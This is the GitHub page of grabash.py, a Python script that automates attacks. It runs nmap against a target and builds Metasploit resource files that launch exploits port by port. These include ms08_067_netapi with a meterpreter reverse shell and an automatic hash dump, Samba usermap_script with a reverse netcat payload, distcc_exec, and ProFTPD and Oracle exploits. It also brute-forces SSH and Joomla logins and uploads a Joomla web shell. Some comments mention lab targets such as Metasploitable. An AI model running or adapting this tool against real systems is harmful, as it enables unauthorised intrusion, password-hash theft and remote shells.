-
Notifications
You must be signed in to change notification settings - Fork 10
Expand file tree
/
Copy pathgrabash.py
More file actions
768 lines (613 loc) · 22.9 KB
/
Copy pathgrabash.py
File metadata and controls
768 lines (613 loc) · 22.9 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
#!/usr/bin/env python
# grab-a-sh.py
# version just1.
# idea : 05082016
# by code610
#
# imports
import sys
import subprocess
import os
import datetime # for 'now'
# defines
target = sys.argv[1]
pwd = os.getcwd()
allLogs = pwd + '/logs/'
tLogDir = allLogs + target + '/'
rcfile = tLogDir + 'msf.rc'
rcwww = tLogDir + 'www.rc'
rcspool = tLogDir + 'output.msf'
wwwspool = tLogDir + 'output.www'
nmaplogfile = tLogDir + '/nmap-tcp-' + target + '.log'
now = datetime.datetime.now()
today = now.strftime("%d-%m-%Y %H:%M")
postfile = 'post.rc'
path2post = tLogDir + postfile
# test functions:
#
# modules for default FTP (based on 21/tcp)
def check_21(target):
print ' + loading : current ftp modules'
print ' + anonymous'
print ''
print ''
saveNetRc('use auxiliary/scanner/ftp/anonymous\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# saveNetRc('use auxiliary/scanner/ftp/ftp_login\n') # do you want to bruteforce? ;\
saveNetRc('use auxiliary/scanner/ftp/ftp_version\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# modules for Microsoft FTPd
def check_21_ms(target):
print ' + loading : current M$ ftp modules'
print ' + ms09_053_ftpd_nlst' # if MS FTP found
saveNetRc('use exploit/windows/ftp/ms09_053_ftpd_nlst\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('run\n')
# modules for ProFTPD
def check_21_pftpd(target):
print ' + loading : current ProFTPD modules'
print ' + proftp_telnet_iac'
saveNetRc('use exploit/freebsd/ftp/proftp_telnet_iac\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use exploit/linux/ftp/proftp_sreplace\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('run\n')
def check_21_pure(target):
print ' + loading : current Pure-FTPd'
print ' + pureftpd_bash_env_exec'
saveNetRc('use exploit/multi/ftp/pureftpd_bash_env_exec\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('run\n')
# modules for SSH
def check_22(target):
print ' + loading : current ssh modules:'
print ' + ssh_version'
print ' + ssh_enumusers'
print ' + ssh_login'
saveNetRc('use auxiliary/scanner/ssh/ssh_version\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/ssh/ssh_enumusers\n')
saveNetRc('set USER_FILE /usr/share/metasploit-framework/data/wordlists/ipmi_users.txt\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/ssh/ssh_login\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set PASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt\n')
saveNetRc('set VERBOSE false\n')
saveNetRc('set USERNAME root\n')
saveNetRc('run\n')
# modules for rpcinfo
def check_111(target):
print ' + loading : current rpc modules:'
print ' + sunrpc_portmapper'
print ' + nfsmount' # TODO: check udp
saveNetRc('use auxiliary/scanner/misc/sunrpc_portmapper\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/nfs/nfsmount\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# modules for dcerpc
def check_135(target):
print ' + loading : current dcerpc modules:'
print ' + ms03_026_dcom'
print ' + sunrpc_portmapper'
print ' + tcp_dcerpc_auditor'
print ' + endpoint_mapper'
saveNetRc('use exploit/windows/dcerpc/ms03_026_dcom\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/misc/sunrpc_portmapper\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/dcerpc/endpoint_mapper\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# modules for Samba (139/tcp @Linux)
def check_139_lin(target):
print ' + loading : current samba modules:'
print ' + usermap_script'
saveNetRc('use exploit/multi/samba/usermap_script\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('set PAYLOAD cmd/unix/reverse_netcat\n')
saveNetRc('set LHOST ' + str(elhost()) + '\n')
saveNetRc('run\n') # TODO: python -c 'import pty;pty.spawn("/bin/bash")' # to get root
# modules for SMB
def check_139(target):
print ' + loading : current smb modules:'
print ' + nbname'
print ' + smb_enumshares'
print ' + smb_enumusers_domain'
print ' + smb_lookupsid'
print ' + pipe_auditor'
print ' + pipe_dcerpc_auditor'
saveNetRc('use auxiliary/scanner/netbios/nbname\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/smb/smb_enumshares\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/smb/smb_enumusers_domain\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/smb/smb_lookupsid\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/smb/pipe_auditor\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/smb/pipe_dcerpc_auditor\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# modules if HTTP found
def check_http(target, rport):
print ' + loading : http modules ...'
print ' + http_header'
print ' + dir_scanner'
print ' + trace'
print ' + options'
print ' + robots_txt'
print ' + scrapper (get Title)'
saveNetRc('use auxiliary/scanner/http/http_header\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/dir_scanner\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set THREADS 10\n')
saveNetRc('set DICTIONARY /usr/share/dirb/wordlists/common.txt\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/trace\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/options\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/robots_txt\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/scraper\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
# modules for Apache
def check_apache(target, rport):
print ' + loading : apache modules ...'
print ' + apache_userdir_enum'
saveWWWRc('use auxiliary/scanner/http/apache_userdir_enum\n')
saveWWWRc('set VERBOSE false\n')
saveWWWRc('set RHOSTS ' + target + '\n')
saveWWWRc('set RPORT ' + rport + '\n')
saveWWWRc('run\n')
# modules for IIS
def check_iis(target, rport):
print ' + loading : iis modules ...'
print ' + webdav_scanner'
saveNetRc('use auxiliary/scanner/http/webdav_scanner\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
# modules for Joomla
def check_joomla(target,rport, targeturi):
print ' + loading : joomla modules, port : ', rport
print ' + joomla_bruteforce'
print ' + joomla_version'
print ' + joomla_plugins'
print ' + joomlash' # https://github.com/c610/modules/blob/master/joomlash.rb
# TODO: finish joomla_upload_shell.rb
# TODO: remember to properly set TARGETURI; see: dir_scanner
print '\n'
print '[i] Current TARGETURI to ' + str(targeturi) + '\n'
saveWWWRc('use auxiliary/scanner/http/joomla_bruteforce_login\n')
saveWWWRc('set TARGETURI + ' + targeturi + '\n') # TODO
saveWWWRc('set RHOSTS ' + target + '\n')
saveWWWRc('set RPORT ' + rport + '\n')
saveWWWRc('set AUTH_URI /joomla2/administrator/index.php \n') # TODO: 3rd param tmpuri
saveWWWRc('set PASS_FILE /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt\n')
saveWWWRc('set VERBOSE false\n')
saveWWWRc('set USERNAME admin\n')
saveWWWRc('set FORM_URI /joomla2/administrator\n') # TODO
saveWWWRc('set STOP_ON_SUCCESS true\n')
saveWWWRc('run\n') # TODO: result (user:pass) to joomlash
saveWWWRc('use exploit/unix/webapp/joomlash\n')
saveWWWRc('set RHOST ' + target + '\n')
saveWWWRc('set RPORT ' + rport + '\n')
saveWWWRc('set TARGETURI /joomla2/\n') # ' + targeturi + '\n') TODO!
saveWWWRc('set USERNAME admin\n') #TODO : connect with joomla_bruteforce_login
saveWWWRc('set PASSWORD admin\n')
saveWWWRc('run\n')
saveWWWRc('use auxiliary/scanner/http/joomla_version\n')
saveWWWRc('set RHOSTS ' + target + '\n')
saveWWWRc('set RPORT ' + rport + '\n')
saveWWWRc('run\n')
saveWWWRc('use auxiliary/scanner/http/joomla_plugins\n')
saveWWWRc('set RHOSTS ' + target + '\n')
saveWWWRc('set RPORT ' + rport + '\n')
saveWWWRc('run\n')
# modules for git
def check_git(target, rport):
print ' + loading : git modules ...'
print ' + git_scanner'
saveNetRc('use auxiliary/scanner/http/git_scanner\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
# modules for Axis2 CTF
def check_axis2(target,rport):
print ' + loading : axis2 modules...'
print ' + axis2_lfi_ctf' # you need to add this module to default msf
saveWWWRc('use auxiliary/scanner/http/axis2_lfi_ctf\n')
saveWWWRc('set RHOSTS ' + target + '\n')
saveWWWRc('set RPORT ' + rport + '\n')
saveWWWRc('run\n')
# test will start during 2nd msf run.
# links found by dir_scanner are used here to define
# tests for specific http server or webapp
# TODO: more detailed tests...
def check_http_dirs(target):
fp = open(rcspool,'r') # read from msf.net output file
lines = fp.readlines()
print '[+] Please wait, I\'m reading output from ' + str(rcspool) + '\n'
print '[+] Preparing HTTP attacks basing on found directories'
for line in lines: # TODO
if line.find('Found http://') != -1:
# fix: set new rport
newport = line.split(':')
rrport = newport[2].split('/')[0] # new RPORT for all tests below
# print("Setting new RPORT for this test: " + str(rrport)) # for debug
if line.find('/administrator/') != -1:
print ' [+] probably Joomla; preparing tests...'
tmpuri = '/administrator/' # TODO change!
check_joomla(target, rrport, tmpuri)
elif line.find('/server-status') != -1:
print ' [+] Found "/server-status"; probably Apache...'
# TODO: we need a 'marker' to set apache tests already done (if any)
check_apache(target,rrport)
elif line.find('/axis2/') != -1: # prepared for CTF Axis2 by PentesterLab.com
# TODO: link to writeup
print ' [+] probably Axis2; preparing tests...'
check_axis2(target,rrport)
elif line.find('/joomla/') != -1:
print ' [+] probably Joola; preparing tests...' # TODO: change tmpuri
tmpuri = '/joomla/'
check_joomla(target, rrport, tmpuri)
elif line.find('/joomla2/') != -1:
print ' [+] probably Joola; preparing tests...' # TODO: change targeturitmp
tmpuri = '/joomla2/'
check_joomla(target, rrport, targeturi)
elif line.find('.git') != -1:
print ' [+] probably git found; preparing tests...'
check_git(target, rrport)
tmpuri = '' # TODO clean
# modules if HTTPS found
def check_https(target, rport):
print ' + loading : https modules ...'
print ' + http_hsts'
print ' + cert'
print ' + ssl'
print ' + ssl_version'
saveNetRc('use use auxiliary/scanner/http/http_hsts\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/cert\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/ssl\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/http/ssl_version\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('set RPORT ' + rport + '\n')
saveNetRc('run\n')
def check_445(target):
print ' + loading : 445 modules ...'
print ' + ms08_067_netapi'
saveNetRc('use exploit/windows/smb/ms08_067_netapi\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('set PAYLOAD windows/meterpreter/reverse_tcp\n')
saveNetRc('set EndOnSession true\n')
saveNetRc('set LHOST ' + str(elhost()) + '\n')
makePost(path2post)
saveNetRc('set AutoRunScript multi_console_command -rc ' + path2post + '\n')
saveNetRc('run\n')
# modules for Oracle 9i ftp bug in PASS
def check_2100(target):
print ' + loading : Oracle 9i modules'
print ' + oracle9i_xdb_ftp_pass'
print ' + oracle9i_xdb_ftp_unlock'
saveNetRc('use exploit/windows/ftp/oracle9i_xdb_ftp_pass\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use exploit/windows/ftp/oracle9i_xdb_ftp_unlock\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('run\n')
# modules for SSDP/UPnP
def check_2869(target):
print ' + loading : 2869 modules ...'
print ' + ssdp_msearch'
print ' + ssdp_amp'
saveNetRc('use auxiliary/scanner/upnp/ssdp_msearch\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/upnp/ssdp_amp\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# modules for DistCC Daemon
def check_3632(target):
print ' + loading : DistCC Daemon modules' # for Metasploitable
print ' + distcc_exec'
saveNetRc('use exploit/unix/misc/distcc_exec\n')
saveNetRc('set RHOST ' + target + '\n')
saveNetRc('set PAYLOAD cmd/unix/bind_perl\n')
saveNetRc('run\n')
# modules for SSDP/UPnP
def check_5357(target):
print ' + loading : 5357 modules ...'
print ' + ssdp_msearch'
print ' + ssdp_amp'
saveNetRc('use auxiliary/scanner/upnp/ssdp_msearch\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
saveNetRc('use auxiliary/scanner/upnp/ssdp_amp\n')
saveNetRc('set RHOSTS ' + target + '\n')
saveNetRc('run\n')
# code functions:
# TODO: readSpool for output.www; more details; ...
# ...20.08.and.some.changes...
def thanks():
# :)
print '\n'
print '*'*80
print '\t\t(let\'s say...) summary:'
print '*'*80
print ' Scanned : ', today
# summary for 1st msf
print '-'*80
print ' Summary for 1st output:\n'
fp1 = open(nmaplogfile, 'r')
s_ports = fp1.readlines()
countScanned = 0
foundOpen = 0
for oport in s_ports:
if oport.find('open') != -1:
foundOpen += 1
fp = open(rcfile, 'r') # read all 'use '
used = fp.readlines()
print '[+] Ports:'
print ' Total ports : ', foundOpen
for u in used:
if u.find('use ') != -1:
countScanned += 1
nu = u.split(' ')[1]
print ' - test used : ' + str(nu)
print ' Modules prepared : ', countScanned
print '\n'
# summary for 2nd msf
print '-'*80
print ' Summary for 2nd output:\n' # TODO
# fp2 = open(wwwspool, 'r') # tmp change for reading output from 1st msf
fp2 = open(rcspool,'r') # reading from outpupt.msf; looking for 'Found http' links
links = fp2.readlines()
for link in links:
if link.find('Found http') != -1:
nlink = link.split(' ')
codelink = nlink[3]
gotlink = nlink[2]
print 'Code ' + str(codelink) + ' for : ', str(gotlink)
print '\n'
fp1.close()
fp2.close()
print '\nNow we will check 2nd file: ' + str(wwwspool) + '\n'
readWWW = open(wwwspool,'r')
lines = readWWW.readlines()
for line in lines:
if line.find(target) != -1: # TODO : fix this ififififif;[
if line.find("Successful login 'admin'") != -1:
splitl = line.split("'")
print ' Joomla user : ' + str(splitl[1])
print ' Joomla pass : ' + str(splitl[3])
if line.find('templates/beez3/error.php?x=cmd') != -1:
print ' [+] It seems to we already have a shell :)\n'
# for LHOST
def elhost():
f = os.popen('/sbin/ifconfig eth0 | grep "inet\ addr" | cut -d: -f2 | cut -d" " -f1')
lhost=f.read()
return lhost
# RC for meterpreter; now prepared as poc for ms08_067_netapi module (check_445)
def makePost(postme):
fp = open(path2post,'w')
fp.write('sysinfo\n')
fp.write('run post/windows/gather/hashdump\n')
fp.write('exit\n')
fp.write('exit\n')
fp.write('exit\n') # TODO: make-meterpreter-exit bug
# reading loglines from output.www spool
# TODO: grab details to exploit bugs and/or prepare summary
def readSpoolWWW(RCfp):
print '[+] Reading spool from : ', RCfp
# TODO: tmp solution...
fp = open(RCfp)
lines = fp.readlines()
for line in lines:
if line.find('admin') != -1:
print line
print '[+] Finished reading spool from : ', RCfp
# read loglines from output.msf spool
# TODO: grab details to exploit bugs and/or prepare summary
def readSpoolNet(RCfp):
print '[+] Reading spool from : ', RCfp
check_http_dirs(target)
print '[+] Finished reading spool from : ', RCfp
# run msfconsole with defined RC file
def runMsfScan(RCfp):
print '[i] Starting Metasploit with RC file : ', RCfp
exe = 'msfconsole -r ' + RCfp
subprocess.call([ exe ], shell=True)
print '[+] Finished Metasploit tests for : ', RCfp
# save line to RC file for 2nd msf run (www tests)
def saveWWWRc(line):
fp = open(rcwww, 'a+')
fp.write(line)
# save line to RC file for 1st msf run
def saveNetRc(line):
fp = open(rcfile, 'a+')
fp.write(line)
# read nmap output file
# TODO: grab details from nmap log
def readScan(nmaplogfile):
print '[+] Reading scan log...'
fp = open(nmaplogfile,'r')
ports = fp.readlines()
for port in ports:
if port.find('open') != -1:
tmp_port = port.split('/')
global rport
global targeturi # TODO !
global tmpuri
rport = tmp_port[0]
if port.find('21/tcp') != -1:
scannedPort += 1
print '[i] FTP found on port : ', rport
check_21(target)
if port.find('Microsoft ftpd') != -1:
print '[i] Probably Microsoft FTP; preparing...'
check_21_ms(target)
elif port.find('22/tcp') != -1:
print '[i] SSH found on port :', rport
check_22(target)
elif port.find('http') != -1:
print '[i] HTTP found on port: ', rport
check_http(target, rport) # test for all http
if port.find('Apache') != -1:
print '[i] Probably Apache; preparing...'
check_apache(target, rport)
elif port.find('IIS') != -1:
print '[i] Probably IIS; preparing...'
check_iis(target, rport)
elif port.find('111/tcp') != -1:
print '[i] RPC found on port : ', rport
check_111(target)
elif port.find('135/tcp') != -1:
print '[i] NetBios found on port: ', rport
check_135(target)
elif port.find('139/tcp') != -1:
print '[i] SMB found on port: ', rport
if port.find('Samba smbd') != -1:
print '[i] Probably Linux Samba; preparing...'
check_139_lin(target)
check_139(target)
elif port.find('443/tcp') != -1:
print '[i] HTTPS found on port: ', rport
check_https(target, rport)
elif port.find('445/tcp') != -1:
print '[i] MS-DC Active Directory found on port: ', rport
check_445(target)
elif port.find('2100/tcp') != -1:
print '[i] Oracle found on port: ', rport
check_2100(target)
elif port.find('2869/tcp') != -1:
print '[i] SSDP/UPnP found on port: ', rport
check_2869(target)
elif port.find('3632/tcp') != -1:
print '[i] DistCC Daemon found on port: ', rport
check_3632(target)
elif port.find('5357/tcp') != -1:
print '[i] SSDP/UPnP found on port: ', rport
check_5357(target)
saveNetRc('exit\n')
saveWWWRc('exit\n')
rport = ''
print '\n[i] Reading log file : done.'
# run nmap against IP and save output to nmap log
def scan(target):
print '[+] Scanning :', target
exe = 'nmap -sV -T4 -A -Pn -vv -n ' + target + ' -oN ' + nmaplogfile
print '[+] Started!'
subprocess.call([ exe ], shell=True)
print '[+] Finished.'
# check for current RC, if any, move to .old
def moveRc(fp):
moveme = 'mv ' + str(fp) + ' ' + str(fp) + '.old'
subprocess.call([ moveme], shell=True)
# prepare environment; dirs, logs, etc...
def prepareEnv():
print '[+] Preparing environment...'
# look for old RC files
if os.path.exists(rcfile):
print '[!] Old RC file found; moving...'
moveRc(rcfile)
if os.path.exists(rcwww):
print '[!] Old WWW RC file found; moving...'
moveRc(rcwww)
# create log dirs
print '[i] Checking for log directory : ' + allLogs
if os.path.isdir(allLogs) != -1:
try:
os.mkdir(allLogs)
print '[+] Log directory created : ' + allLogs
except OSError, e:
print '[+] Log directory is already there'
print '[i] Checking target directory: ' + tLogDir
if os.path.isdir(tLogDir) != -1:
try:
os.mkdir(tLogDir)
print '[+] Directory for target should be here: ' + tLogDir
except OSError, e:
print '[+] Log directory for target is already created.'
# preparing RC files (1st line 'spool' to log outputs)
print '[i] Preparing RC files: '
if os.path.isfile(rcfile) != -1:
try:
fp = open(rcfile,'a+')
fp.write('spool ' + rcspool + '\n')
print '[+] Network RC file created at : ' + rcfile
except OSError, e:
print e
except IOError, e:
print e
if os.path.isfile(rcwww) != -1:
try:
fp = open(rcwww, 'a+')
fp.write('spool ' + wwwspool + '\n')
print '[+] HTTP RC file created at : ' + rcwww
except OSError, e:
print e
# welcome msg + date
# TODO: date to log/summary
def sayHi():
print ''
print '*'*80
print '\t\t\t\tgrabash.py'
print '*'*80
print ''
print '[i] Test started : ', today
# MAIN starter:
# ...
sayHi()
prepareEnv()
scan(target)
readScan(nmaplogfile)
runMsfScan(rcfile)
readSpoolNet(rcspool)
runMsfScan(rcwww)
# readSpoolWWW(rcspool) # print all output.www
thanks() # TODO: detailed summary
#
# more:
# http://code610.blogspot.com
#
# cheers :)